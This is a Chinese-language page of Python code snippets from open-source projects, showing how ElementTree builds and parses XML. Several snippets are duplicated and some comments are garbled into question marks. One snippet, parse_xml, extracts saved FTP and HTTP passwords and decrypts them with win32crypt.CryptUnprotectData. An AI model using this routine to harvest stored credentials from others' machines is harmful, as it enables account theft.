我们从Python开源项目中,提取了以下50个代码示例,用于说明如何使用xml.etree.cElementTree.ElementTree()。
def saveMean(fname, data): root = et.Element('opencv_storage') et.SubElement(root, 'Channel').text = '3' et.SubElement(root, 'Row').text = str(imgSize) et.SubElement(root, 'Col').text = str(imgSize) meanImg = et.SubElement(root, 'MeanImg', type_id='opencv-matrix') et.SubElement(meanImg, 'rows').text = '1' et.SubElement(meanImg, 'cols').text = str(imgSize * imgSize * 3) et.SubElement(meanImg, 'dt').text = 'f' et.SubElement(meanImg, 'data').text = ' '.join( ['%e' % n for n in np.reshape(data, (imgSize * imgSize * 3))] ) tree = et.ElementTree(root) tree.write(fname) x = xml.dom.minidom.parse(fname) with open(fname, 'w') as f: f.write(x.toprettyxml(indent=' '))
def getConfigFromFile(self): try: import xml.etree.cElementTree as ET except ImportError: import xml.etree.ElementTree as ET if not os.path.exists(self.fileName) : print "file ", self.fileName, " not exists" return None try: self.docTree = ET.ElementTree(file=self.fileName) except Exception,e: print "%s is NOT well-formed : %s "%(self.fileName,e) return None self.smtpServer = self.getSectiontText("smtpServer") self.smtpPort = self.getSectiontInt("smtpPort") self.sender = self.getSectiontText("sender").strip() self.senderPasswd = self.getSectiontText("senderPasswd") self.rcvType = self.getTextAttribute("receivers","type") self.getReceivers("receivers/user") return None
def saveMean(fname, data): root = et.Element('opencv_storage') et.SubElement(root, 'Channel').text = '3' et.SubElement(root, 'Row').text = str(imgSize) et.SubElement(root, 'Col').text = str(imgSize) meanImg = et.SubElement(root, 'MeanImg', type_id='opencv-matrix') et.SubElement(meanImg, 'rows').text = '1' et.SubElement(meanImg, 'cols').text = str(imgSize * imgSize * 3) et.SubElement(meanImg, 'dt').text = 'f' et.SubElement(meanImg, 'data').text = ' '.join(['%e' % n for n in np.reshape(data, (imgSize * imgSize * 3))]) tree = et.ElementTree(root) tree.write(fname) x = xml.dom.minidom.parse(fname) with open(fname, 'w') as f: f.write(x.toprettyxml(indent = ' '))
def saveMean(fname, data): root = et.Element('opencv_storage') et.SubElement(root, 'Channel').text = '3' et.SubElement(root, 'Row').text = str(ImgSize) et.SubElement(root, 'Col').text = str(ImgSize) meanImg = et.SubElement(root, 'MeanImg', type_id='opencv-matrix') et.SubElement(meanImg, 'rows').text = '1' et.SubElement(meanImg, 'cols').text = str(ImgSize * ImgSize * 3) et.SubElement(meanImg, 'dt').text = 'f' et.SubElement(meanImg, 'data').text = ' '.join(['%e' % n for n in np.reshape(data, (ImgSize * ImgSize * 3))]) tree = et.ElementTree(root) tree.write(fname) x = xml.dom.minidom.parse(fname) with open(fname, 'w') as f: f.write(x.toprettyxml(indent = ' '))
def save_bridge_api_url(self, bridge_api_url): with open(CONFIG_FILE, 'r') as conf_file: XML_conf_data = conf_file.read().replace('\n', '') root = ET.fromstring(XML_conf_data) client = root.find('client') b_api_url = client.find('bridge_api_url') b_api_url.set('url', str(bridge_api_url)) #print ET.tostring(root) tree = ET.ElementTree(root) tree.write(CONFIG_FILE) #soup = Soup(XML_conf_data) #bridge_api_url_tag = soup.configuration.client.bridge_api_url #bridge_api_url_tag['url'] = str(bridge_api_url) return True
def check_version(self): # ???? && ?? try: mobilesignin = self.netease.daily_signin(0) if mobilesignin != -1 and mobilesignin['code'] not in (-2, 301): notify('???????', 1) time.sleep(0.5) pcsignin = self.netease.daily_signin(1) if pcsignin != -1 and pcsignin['code'] not in (-2, 301): notify('PC?????', 1) tree = ET.ElementTree(ET.fromstring(self.netease.get_version())) root = tree.getroot() return root[0][4][0][0].text except (ET.ParseError, TypeError) as e: log.error(e) return 0
def create_xml(self): for i in range(self._hyperparams['num_objects']): xmldir = '/'.join(str.split(self._hyperparams['filename'], '/')[:-1]) mass = np.random.uniform(.01, 1.) root = ET.Element("top") ET.SubElement(root, "inertial", pos="0 0 0", mass="{}".format(mass), diaginertia="{0} {1} {2}".format(mass/2., mass/2., mass/2.)) tree = ET.ElementTree(root) xml_str = minidom.parseString(ET.tostring( tree.getroot(), 'utf-8')).toprettyxml(indent=" ") xml_str = xml_str.splitlines()[1:] xml_str = "\n".join(xml_str) with open(xmldir+"/mass{}.xml".format(i), "wb") as f: f.write(xml_str)
def saveMean(fname, data): root = et.Element('opencv_storage') et.SubElement(root, 'Channel').text = '3' et.SubElement(root, 'Row').text = str(ImgSize) et.SubElement(root, 'Col').text = str(ImgSize) meanImg = et.SubElement(root, 'MeanImg', type_id='opencv-matrix') et.SubElement(meanImg, 'rows').text = '1' et.SubElement(meanImg, 'cols').text = str(ImgSize * ImgSize * 3) et.SubElement(meanImg, 'dt').text = 'f' et.SubElement(meanImg, 'data').text = ' '.join(['%e' % n for n in np.reshape(data, (ImgSize * ImgSize * 3))]) tree = et.ElementTree(root) tree.write(fname) x = xml.dom.minidom.parse(fname) with open(fname, 'w') as f: f.write(x.toprettyxml(indent=' '))
def generate_settings_file(target_path): source_path = xbmc.translatePath( os.path.join(ADDON.getAddonInfo('path'), 'resources', 'settings.xml')) root_target = ceT.Element("settings") tree_source = eT.parse(source_path) root_source = tree_source.getroot() for item in root_source.findall('category'): for setting in item.findall('setting'): if 'id' in setting.attrib: value = '' if 'default' in setting.attrib: value = setting.attrib['default'] ceT.SubElement(root_target, 'setting', id=setting.attrib['id'], value=value) tree_target = ceT.ElementTree(root_target) f = open(target_path, 'w') tree_target.write(f) f.close()
def saveMean(fname, data): root = et.Element('opencv_storage') et.SubElement(root, 'Channel').text = '3' et.SubElement(root, 'Row').text = str(IMGSIZE) et.SubElement(root, 'Col').text = str(IMGSIZE) meanImg = et.SubElement(root, 'MeanImg', type_id='opencv-matrix') et.SubElement(meanImg, 'rows').text = '1' et.SubElement(meanImg, 'cols').text = str(IMGSIZE * IMGSIZE * 3) et.SubElement(meanImg, 'dt').text = 'f' et.SubElement(meanImg, 'data').text = ' '.join(['%e' % n for n in np.reshape(data, (IMGSIZE * IMGSIZE * 3))]) tree = et.ElementTree(root) tree.write(fname) x = xml.dom.minidom.parse(fname) with open(fname, 'w') as f: f.write(x.toprettyxml(indent = ' '))
def parse_aws_xml(xml_text, clouds=None): tree = ET.ElementTree(ET.fromstring(xml_text)) root = tree.getroot() files_to_get = [] for elem in tree.iter(): for k in elem.getchildren(): if k.tag.find("Key") >= 0: if k.text.find("tiles") >= 0: files_to_get.append(k.text) if len(files_to_get) > 0 and clouds is not None: for fich in files_to_get: if fich.find("metadata.xml") >= 0: metadata_file = aws_url_dload + fich r = requests.get(metadata_file) tree = ET.ElementTree(ET.fromstring(r.text)) root = tree.getroot() for cl in root.iter("CLOUDY_PIXEL_PERCENTAGE"): if float(cl.text) > clouds: return [] else: return files_to_get return files_to_get
def parse_xml(self, xml_file): tree = ET.ElementTree(file=xml_file) pwdFound = [] for elem in tree.iter(): values = {} try: if elem.attrib['name'].startswith('ftp') or elem.attrib['name'].startswith('ftps') or elem.attrib[ 'name'].startswith('sftp') or elem.attrib['name'].startswith('http') or elem.attrib[ 'name'].startswith('https'): values['URL'] = elem.attrib['name'] encrypted_password = base64.b64decode(elem.attrib['value']) password = win32crypt.CryptUnprotectData(encrypted_password, None, None, None, 0)[1] values['Password'] = password pwdFound.append(values) except Exception, e: pass # print the results return pwdFound # main function
def check_version(self): # ???? && ?? try: mobilesignin = self.netease.daily_signin(0) if mobilesignin != -1 and mobilesignin['code'] != -2: notify('Mobile signin success', 1) time.sleep(0.5) pcsignin = self.netease.daily_signin(1) if pcsignin != -1 and pcsignin['code'] != -2: notify('PC signin success', 1) tree = ET.ElementTree(ET.fromstring(self.netease.get_version())) root = tree.getroot() return root[0][4][0][0].text except TypeError as e: log.error(e) return 0
def toXML(self, name): sketch = ET.Element("sketch") sketch.attrib["id"] = str(self.sketch_id) for stk in self.strokes: for pnt in stk.points: ET.SubElement(sketch, "point", id = str(pnt.pid), time = str(pnt.time), x = str(pnt.x), y = str(pnt.y)) for stk in self.strokes: stroke = ET.SubElement(sketch, "stroke") stroke.attrib["id"] = str(stk.sid) stroke.attrib["visible"] = "true" for pnt in stk.points: ET.SubElement(stroke, "arg", type = "point").text = str(pnt.pid) tree = ET.ElementTree(sketch) tree.write( os.path.join(os.getcwd(), 'XMLfiles', 'AfterTraining' , str(name) + ".xml") ) # resamples the sketch before IDM feature extraction
def parse_nsmap(fil): events = "start", "start-ns", "end-ns" root = None ns_map = [] for event, elem in ElementTree.iterparse(fil, events): if event == "start-ns": ns_map.append(elem) elif event == "end-ns": ns_map.pop() elif event == "start": if root is None: root = elem elem.set(NS_MAP, dict(ns_map)) return ElementTree.ElementTree(root)
def test_parent(self): # Document node has no parent xml4h_doc = self.adapter_class.wrap_node(self.doc, self.doc) self.assertEqual(None, xml4h_doc.parent) # Root element has document as parent self.assertIsInstance(self.xml4h_root.parent, xml4h.nodes.Document) # Find parents of elements self.assertEqual(self.root_elem, self.adapter_class.wrap_node(self.elem1, self.doc).parent.impl_node) self.assertEqual(self.elem3, self.adapter_class.wrap_node( self.elem2_second, self.doc).parent.impl_node) # Parent of text node (Text not stored as node in lxml/ElementTree) if not isinstance(self, (TestLXMLNodes, TestElementTreeNodes)): self.assertEqual(self.elem1, self.adapter_class.wrap_node( self.text_node, self.doc).parent.impl_node) # Chain parent calls wrapped_elem = self.adapter_class.wrap_node(self.elem3_second, self.doc) self.assertEqual(self.root_elem, wrapped_elem.parent.parent.impl_node)
def _build_command_line_elem(command_line): command_line_parts = shlex.split(command_line, posix=False) prefix = "rsp" ET.register_namespace(prefix, c.XML_NS_MSRSP) command_line_elem = ET.Element('{%s}CommandLine' % c.XML_NS_MSRSP) command_elem = ET.Element('{%s}Command' % c.XML_NS_MSRSP) command_elem.text = command_line_parts[0] command_line_elem.append(command_elem) for arguments_text in command_line_parts[1:]: arguments_elem = ET.Element('{%s}Arguments' % c.XML_NS_MSRSP) arguments_elem.text = arguments_text command_line_elem.append(arguments_elem) tree = ET.ElementTree(command_line_elem) str_io = StringIO() tree.write(str_io) return str_io.getvalue()
def parseWindowsAliases(self, aliases): try: with open(aliases) as xmlfile: xmlroot = XML.ElementTree(file=xmlfile).getroot() except (IOError, XMLParseError): raise ValueError("Unable to open or read windows alias file: {}".format(aliases)) # Extract the mappings try: for elem in xmlroot.findall("./windowsZones/mapTimezones/mapZone"): if elem.get("territory", "") == "001": if elem.get("other") not in self.links: self.links[elem.get("other")] = elem.get("type") else: print("Ignoring duplicate Windows alias: {}".format(elem.get("other"))) except (ValueError, KeyError): raise ValueError("Unable to parse windows alias file: {}".format(aliases))
def create_xml(folder_name, digits, gridSizeX, gridSizeY, gridSizeZ, voxelSize): grid = ET.Element("grid") grid.set("gridSizeX", str(gridSizeX)) grid.set("gridSizeY", str(gridSizeY)) grid.set("gridSizeZ", str(gridSizeZ)) grid.set("voxelSize", str(voxelSize)) grid.set("subvoxelBits", "8") grid.set("originX", "0") grid.set("originY", "0") grid.set("slicesOrientation", "Y") grid.set("originZ", "0") channels = ET.SubElement(grid, "channels") channel = ET.SubElement(channels, "channel") channel.set("type", "DENSITY") channel.set("bits", "8") channel.set("slices", "invert/%0" + str(digits) + "d.png") tree = ET.ElementTree(grid) tree.write(os.path.join(folder_name, "manifest.xml"))
def __element(self): """ ???????????????? button_list:?????,??,????id """ button0 = 'com.android.packageinstaller:id/ok_button' button1 = 'com.android.packageinstaller:id/btn_allow_once' button2 = 'com.android.packageinstaller:id/bottom_button_two' button3 = 'com.android.packageinstaller:id/btn_continue_install' button4 = 'android:id/button1' button5 = 'vivo:id/vivo_adb_install_ok_button' button_list = [button0, button1, button2, button3, button4, button5] self.__uidump() self.pattern = re.compile(r"\d+") if not os.path.exists(self.all_result_path + "/dump.xml"): U.Logging.warn('Failed to get xml') return None tree = ET.ElementTree(file=self.all_result_path + "/dump.xml") tree_iter = tree.iter(tag="node") for elem in tree_iter: if elem.attrib["resource-id"] in button_list: bounds = elem.attrib["bounds"] coord = self.pattern.findall(bounds) x_point = (int(coord[2]) - int(coord[0])) / 2.0 + int(coord[0]) y_point = (int(coord[3]) - int(coord[1])) / 2.0 + int(coord[1]) return x_point, y_point else: return None
def __new__(cls,tag,thing = None,*args,**kwargs): if hasattr(tag,'__xml__'): return tag.__xml__() self = object.__new__(xml) if cElementTree.iselement(tag): self.__content = tag elif isinstance(tag,cElementTree.ElementTree): self.__content = tag.getroot() elif is_file(tag): self.__content = cElementTree.parse(tag).getroot() elif isinstance(tag,str) and len(tag) > 0 and tag[0] == '<': self.__content = cElementTree.fromstring(tag) else: if type(tag) != str: raise TypeError("Cannot convert %s object to xml" % str(type(tag))) self.__content = cElementTree.fromstring('<%s/>' % tag) if is_text(thing) or type(thing) == int: self.__content.text = text(thing) elif thing != None: self.append(xml(thing)) for subthing in args: self.append(xml(subthing)) for key,value in kwargs.items(): if key == '__class' or key == 'klass': self['class'] = value else: self[key] = value if '{' in self.__content.tag: self.__prefix = PREFIX_PAT.search(self.__content.tag).groups()[0] else: self.__prefix = '' return self
def get_xml(self): f = BytesIO() tree = ET.ElementTree(self.root) tree.write(f, encoding='windows-1251', xml_declaration=True) return f.getvalue()
def parseStreamList(self): tvlist = [] tree = ElementTree() tree.parse(self.xml) for iptv in tree.findall('iptv'): n = str(iptv.findtext('name')) i = str(iptv.findtext('icon')) u = str(iptv.findtext('uri')) t = str(iptv.findtext('type')) tvlist.append({'name':n, 'icon':i, 'type':t, 'uri':self.parseStreamURI(u)}) return tvlist
def xml2etree(f, xml=True, html5=False): if xml: element_tree = etree.parse(f) elif html5 and html5parser: element_tree = html5parser.parse(f) elif html5parser: element_tree = html.parse(f) else: # html5lib's parser returns an Element, so we must convert it into an # ElementTree element_tree = ElementTree(html.parse(f)) return element_tree
def parse_web_config(app): """ Get the value stored in the variable WSGI_ALT_VIRTUALENV_HANDLER in the file web.config """ web_config_location = build_web_config_path(app) doc = ET.ElementTree(file=web_config_location) key_to_find = 'WSGI_ALT_VIRTUALENV_HANDLER' element = doc.find('appSettings/add[@key="{}"]'.format(key_to_find)) if element is not None: return element.attrib['value'] else: return None
def parse_xml(self, config_xml): tree = ET.ElementTree(file=config_xml) root = tree.getroot() for child in root: setattr(self, child.tag, child.text.strip())
def rule_xml(self): """ If you want to update rule, Please use this function, it will auto parse rule, and write in file :return: """ starttime = datetime.datetime.now() logger.info('The rule CVE-999' + str(self.year)[1:] + '.xml are being updated. Please wait for a moment....') self.cve_parse() cobra = eT.Element('cobra') # root Ele cobra.set('document', 'https://github.com/wufeifei/cobra') for cve_id in self._result.keys(): cve_child = eT.Element('cve') # cve Ele cve_child.set('id', cve_id) cve_child.set('level', self._result[cve_id]['level']) if 'cpe' in self._result[cve_id]: for product_ in self._result[cve_id]['cpe']: product = eT.Element('product') product.text = product_ cve_child.append(product) # product in products cobra.append(cve_child) # cve in cobra self.pretty(cobra) tree = eT.ElementTree(cobra) rule_path = project_directory + '/rules/CVI-999' tree.write(rule_path + str(self.year)[1:] + '.xml') endtime = datetime.datetime.now() logger.info( 'CVE-999' + str(self.year)[1:] + '.xml Rule update succeeds, times:%ds' % (endtime - starttime).seconds)
def save_account_credentials(self): root = ET.Element('account') doc = ET.SubElement(root, 'credentials') ET.SubElement(doc, 'login_email').text = str(self.login_email) ET.SubElement(doc, 'password').text = \ str(hashlib.sha256(self.password.encode('ascii')).hexdigest()) ET.SubElement(doc, 'logged_in').text = '1' tree = ET.ElementTree(root) tree.write('storj_account_conf.xml')
def logout(self): print "Log out action" root = ET.Element("account") doc = ET.SubElement(root, "credentials") ET.SubElement(doc, "login_email").text = "0" ET.SubElement(doc, "password").text = "0" ET.SubElement(doc, "logged_in").text = "0" tree = ET.ElementTree(root) tree.write(ACCOUNT_FILE) return True
def generate_xml(self, parsed_epg): logger.info('Generando la guía XMLTV: descargando info extendida') root = ElTr.Element('tv', { 'date': datetime.now().strftime('%Y%m%d%H%M%S'), 'source_info_url': 'https://github.com/MovistarTV/tv_grab_es_movistartv', 'source_info_name': 'Grabber for Movistar TV Multicast EPG', 'generator_info_name': 'tv_grab_es_movistartv', 'generator_info_url': 'http://wiki.xmltv.org/index.php/XMLTVFormat'}) tz = abs(time.timezone / 3600) + time.localtime().tm_isdst services = self.__get_client_channels() for channel_id in sorted(services, key=lambda key: int(services[key])): if channel_id in self.__channels: tag_channel = ElTr.Element('channel', {'id': '%s.movistar.tv' % channel_id}) tag_dname = ElTr.SubElement(tag_channel, 'display-name') tag_dname.text = self.__channels[channel_id]['name'] root.append(tag_channel) else: logger.debug('El canal %s no tiene EPG' % channel_id) for channel_id in sorted(services, key=lambda key: int(services[key])): if channel_id in self.__channels: chid = self.__channels[channel_id]['replacement'] \ if 'replacement' in self.__channels[channel_id] else channel_id if chid in parsed_epg: for program in sorted(parsed_epg[chid].keys()): if parsed_epg[chid][program]['end'] > time.time() - 7200: root.append(self.__build_programme_tag(channel_id, parsed_epg[chid][program], tz)) return ElTr.ElementTree(root)
def GenerateClasspathFile(target_list, target_dicts, toplevel_dir, toplevel_build, out_name): '''Generates a classpath file suitable for symbol navigation and code completion of Java code (such as in Android projects) by finding all .java and .jar files used as action inputs.''' gyp.common.EnsureDirExists(out_name) result = ET.Element('classpath') def AddElements(kind, paths): # First, we need to normalize the paths so they are all relative to the # toplevel dir. rel_paths = set() for path in paths: if os.path.isabs(path): rel_paths.add(os.path.relpath(path, toplevel_dir)) else: rel_paths.add(path) for path in sorted(rel_paths): entry_element = ET.SubElement(result, 'classpathentry') entry_element.set('kind', kind) entry_element.set('path', path) AddElements('lib', GetJavaJars(target_list, target_dicts, toplevel_dir)) AddElements('src', GetJavaSourceDirs(target_list, target_dicts, toplevel_dir)) # Include the standard JRE container and a dummy out folder AddElements('con', ['org.eclipse.jdt.launching.JRE_CONTAINER']) # Include a dummy out folder so that Eclipse doesn't use the default /bin # folder in the root of the project. AddElements('output', [os.path.join(toplevel_build, '.eclipse-java-build')]) ET.ElementTree(result).write(out_name)
def Generate(self): self.root = xmllib.Element("Component:Component_Define", {"xmlns:Types":"http://www.appsoft.com.cn/Core/Types", "xsi:schemaLocation":"http://www.appsoft.com.cn/Component ../Component.xsd", "xmlns:Component":"http://www.appsoft.com.cn/Component", "xmlns:xlink":"http://www.w3.org/1999/xlink", "xmlns:xsi":"http://www.w3.org/2001/XMLSchema-instance"}) comment = xmllib.Comment("Edited with Autotools by LMice TEAM, generated by ElementTree(Python)") self.root.append(comment) self.GenerateProject() self.GenImport() self.GenComponent() self.GenComposite() self.GenResource() #Project
def write(self,filename): #tree = xmllib.ElementTree(self.root) #tree.write(filename, "utf-8", xml_declaration=True) #tree = xmllib.ElementTree(xe) doc = minidom.parseString( xmllib.tostring(self.root) ) x = doc.toprettyxml(encoding="utf-8") f = open(filename, "w") f.write(x) f.close()
def parseFile(name): ## flist = GetFileList("I:\\work\\autotools") ## print "count Excel ", len(flist) ## for f in flist: ## print f.decode(dcs) name = name.decode('utf-8') ctx = GetExcelContent(name) print "\n\nExcel sheets", len(ctx) for i in ctx: print type(i) print i.encode(dcs) print "col=", len( ctx[i] ) if len(ctx[i] ) > 0: print "row=", len(ctx[i][0]), " \ncolumn names:" for j in ctx[i][0]: print j.encode(dcs) ## #print GenerateUUIDByName("hello") enm = "0A_EnumDataType.xls"; xe = None print name.encode('utf-8')[-len(enm):], name.encode('utf-8')[-len(enm):] == enm if name.encode('utf-8')[-len(enm):] == enm: for i in ctx: #print "generate enum type sheet:", i.encode(dcs) xe = GenerateEnumType(ctx[i], "Dist3", xe) print xe #GenerateStructType(ctx["???????".decode("utf-8")], "Dist3", xe) tree = xmllib.ElementTree(xe) doc = minidom.parseString( xmllib.tostring(xe) ) x = doc.toprettyxml(encoding="utf-8") f = open("output.xml", "w") f.write(x) f.close() #tree.write("output.xml", "utf-8", xml_declaration=True) return os.path.abspath("output.xml") ## tree.write(os.path.split(os.path.abspath(__file__))[0] + os.path.sep + "output.xml", "utf-8", xml_declaration=True) ## #print xmllib.tostring(xe, "utf-8")
def stopTestRun(self): ET.ElementTree(self.junitRoot).write(str(runDir / 'junit.xml'))
def query(self, word): import requests try: import xml.etree.cElementTree as ET except ImportError: import xml.etree.ElementTree as ET sess = requests.Session() headers = { 'Host': 'dict.youdao.com', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate' } sess.headers.update(headers) url = 'http://dict.youdao.com/fsearch?q=%s' % (word) try: resp = sess.get(url, timeout=100) except: return None text = resp.content if (resp.status_code == 200) and (text): tree = ET.ElementTree(ET.fromstring(text)) returnPhrase = tree.find('return-phrase') if returnPhrase.text.strip() != word.decode('utf-8'): return None customTranslation = tree.find('custom-translation') if not customTranslation: return None trans = [] for t in customTranslation.findall('translation'): transText = t[0].text if transText: trans.append(transText) return '\n'.join(trans) else: return None
def report(manager, fileobj, sev_level, conf_level, lines=-1): '''Prints issues in XML format :param manager: the bandit manager object :param fileobj: The output file object, which may be sys.stdout :param sev_level: Filtering severity level :param conf_level: Filtering confidence level :param lines: Number of lines to report, -1 for all ''' issues = manager.get_issue_list(sev_level=sev_level, conf_level=conf_level) root = ET.Element('testsuite', name='bandit', tests=str(len(issues))) for issue in issues: test = issue.test testcase = ET.SubElement(root, 'testcase', classname=issue.fname, name=test) text = 'Test ID: %s Severity: %s Confidence: %s\n%s\nLocation %s:%s' text = text % (issue.test_id, issue.severity, issue.confidence, issue.text, issue.fname, issue.lineno) ET.SubElement(testcase, 'error', type=issue.severity, message=issue.text).text = text tree = ET.ElementTree(root) if fileobj.name == sys.stdout.name: if six.PY2: fileobj = sys.stdout else: fileobj = sys.stdout.buffer elif fileobj.mode == 'w': fileobj.close() fileobj = open(fileobj.name, "wb") with fileobj: tree.write(fileobj, encoding='utf-8', xml_declaration=True) if fileobj.name != sys.stdout.name: LOG.info("XML output written to file: %s", fileobj.name)
def toxml(self): din = ET.Element("din") characteristic = ET.SubElement(din, "characteristic") ET.SubElement(characteristic, "field1", name="amplifier").text = self.amplifier ET.SubElement(characteristic, "field2", name="number_of_speakers").text = self.number_of_speakers ET.SubElement(characteristic, "field3", name="power").text = self.power ET.SubElement(characteristic, "field4", name="column_type").text = self.column_type tree = ET.ElementTree(din) tree.write("filexml.xml")
def write_to_xml(num): # this fn is writing dict created by "writer" in XML-file root = Tree.Element("root") for i in range(1, num+1): number = Tree.SubElement(root, "number", name=str(i)) l = full[i] Tree.SubElement(number, "model").text = l[0] Tree.SubElement(number, "color").text = l[1] Tree.SubElement(number, "fuel").text = l[2] tree = Tree.ElementTree(root) tree.write("plain.xml")
def encode_xml(self): root = eTree.Element("desktop_lamp") properties = eTree.SubElement(root, "properties") eTree.SubElement(properties, "property", name="color").text = self.color eTree.SubElement(properties, "property", name="size").text = str(self.size) eTree.SubElement(properties, "property", name="type").text = self.lamp_type eTree.SubElement(properties, "property", name="price").text = str(self.price) tree = eTree.ElementTree(root) tree.write("desktop_lamp.xml", encoding="utf-8", xml_declaration=True) print("Encoded to xml successfully!")
def search (procLevel, sensingMin, sensingMax=None, aoiEnv=AOIDEMO, overlapMin=None, cloudyMax=None, rowsMax=ROWSSTEP): """Formulate & run a catalog query.""" finds = dict() if rowsMax <=0: return finds if procLevel=="2A": procLevel="2Ap" # Currently, the 2A query parameter at SciHub carries a tentative "p" like "pilot". url = SITE["SEARCH"] % procLevel if SITE["NAME"]!="CODE-DE" else SITE["SEARCH"] latest = "NOW" if sensingMax is None else sensingMax.isoformat()+"Z" # Z for Zulu, UTC. url += "+AND+beginPosition:[%s+TO+%s]"%(sensingMin.isoformat()+"Z", latest) spatOp = "Contains" if overlapMin is not None and overlapMin>=100 else "Intersects" # Currently, DHuS OpenSearch (solr) does not implement "Overlaps"! XMin,YMin,XMax,YMax = aoiEnv.split() rect = "%s+%s,%s+%s,%s+%s,%s+%s,%s+%s" % (XMin,YMin, XMin,YMax, XMax,YMax, XMax,YMin, XMin,YMin) url += "+AND+footprint:%22"+spatOp+"(POLYGON(("+rect+")))%22" if cloudyMax is not None: url += "+AND+cloudCoverPercentage:[0+TO+%d]"%cloudyMax url += "&start=" notify(url) # Let's go for it: offset,rowsBreak = 0,rowsMax while offset<rowsBreak: # Next page: if offset>0: notify("...offset: %d" % offset) rsp = urlOpen(url + str(offset)) root=ET.ElementTree(file=rsp).getroot(); ns={"atom":"http://www.w3.org/2005/Atom", "opensearch":"http://a9.com/-/spec/opensearch/1.1/"} if offset==0: # First page: found = int(root.find("opensearch:totalResults",ns).text) txt = "Products found: %d" % found if found>rowsMax: txt += ", trimmed to (user wanted) %d"%rowsMax else: rowsBreak = found notify(txt) for e in root.iterfind("atom:entry",ns): if len(finds)>=rowsBreak: break sensingZulu = e.find("atom:date[@name='beginposition']",ns).text[:19] # With PSD version >=14, date string has millis appended. cloudy = float(e.find("atom:double[@name='cloudcoverpercentage']",ns).text) finds[e.find("atom:id",ns).text] = (e.find("atom:title",ns).text, datetime.datetime.strptime(sensingZulu, "%Y-%m-%dT%H:%M:%S"), cloudy, e.find("atom:str[@name='size']",ns).text) offset += ROWSSTEP return finds
def generate_output(path, filename, author_id, doc_type, lang, age_group, gender): root = ET.Element("author") root.set('id', author_id) root.set('type', doc_type) root.set('lang', lang) root.set('age_group', age_group) root.set('gender', gender) tree = ET.ElementTree(root) tree.write("filename.xml")
def add_from_file(self, filename): '''parses xml file and stores wanted details''' Gtk.Builder.add_from_file(self, filename) # extract data for the extra interfaces tree = ElementTree() tree.parse(filename) ele_widgets = tree.getiterator("object") for ele_widget in ele_widgets: name = ele_widget.attrib['id'] widget = self.get_object(name) # populate indexes - a dictionary of widgets self.widgets[name] = widget # populate a reversed dictionary self._reverse_widget_dict[widget] = name # populate connections list ele_signals = ele_widget.findall("signal") connections = [ (name, ele_signal.attrib['name'], ele_signal.attrib['handler']) for ele_signal in ele_signals] if connections: self.connections.extend(connections) ele_signals = tree.getiterator("signal") for ele_signal in ele_signals: self.glade_handler_dict.update( {ele_signal.attrib["handler"]: None})
def parse_xml(xml): """ Parse an OData XML file to havest some relevant information re products available and so on. It will return a list of dictionaries, with one dictionary per product returned from the query. Each dicionary will have a number of keys (see ``fields_of_interest``), as well as ``link`` and ``qui """ fields_of_interest = ["filename", "identifier", "instrumentshortname", "orbitnumber", "orbitdirection", "producttype", "beginposition", "endposition"] tree = ET.ElementTree(ET.fromstring(xml)) # Search for all the acquired images... granules = [] for elem in tree.iter(tag="{http://www.w3.org/2005/Atom}entry"): granule = {} for img in elem.getchildren(): if img.tag.find("id") >= 0: granule['id'] = img.text if img.tag.find("link") and "href" in img.attrib: if img.attrib['href'].find("Quicklook") >= 0: granule['quicklook'] = img.attrib['href'] elif img.attrib['href'].find("$value") >= 0: granule['link'] = img.attrib['href'].replace("$value", "") if "name" in img.attrib: if img.attrib['name'] in fields_of_interest: granule[img.attrib['name']] = img.text granules.append(granule) return granules # print img.tag, img.attrib, img.text # for x in img.getchildren():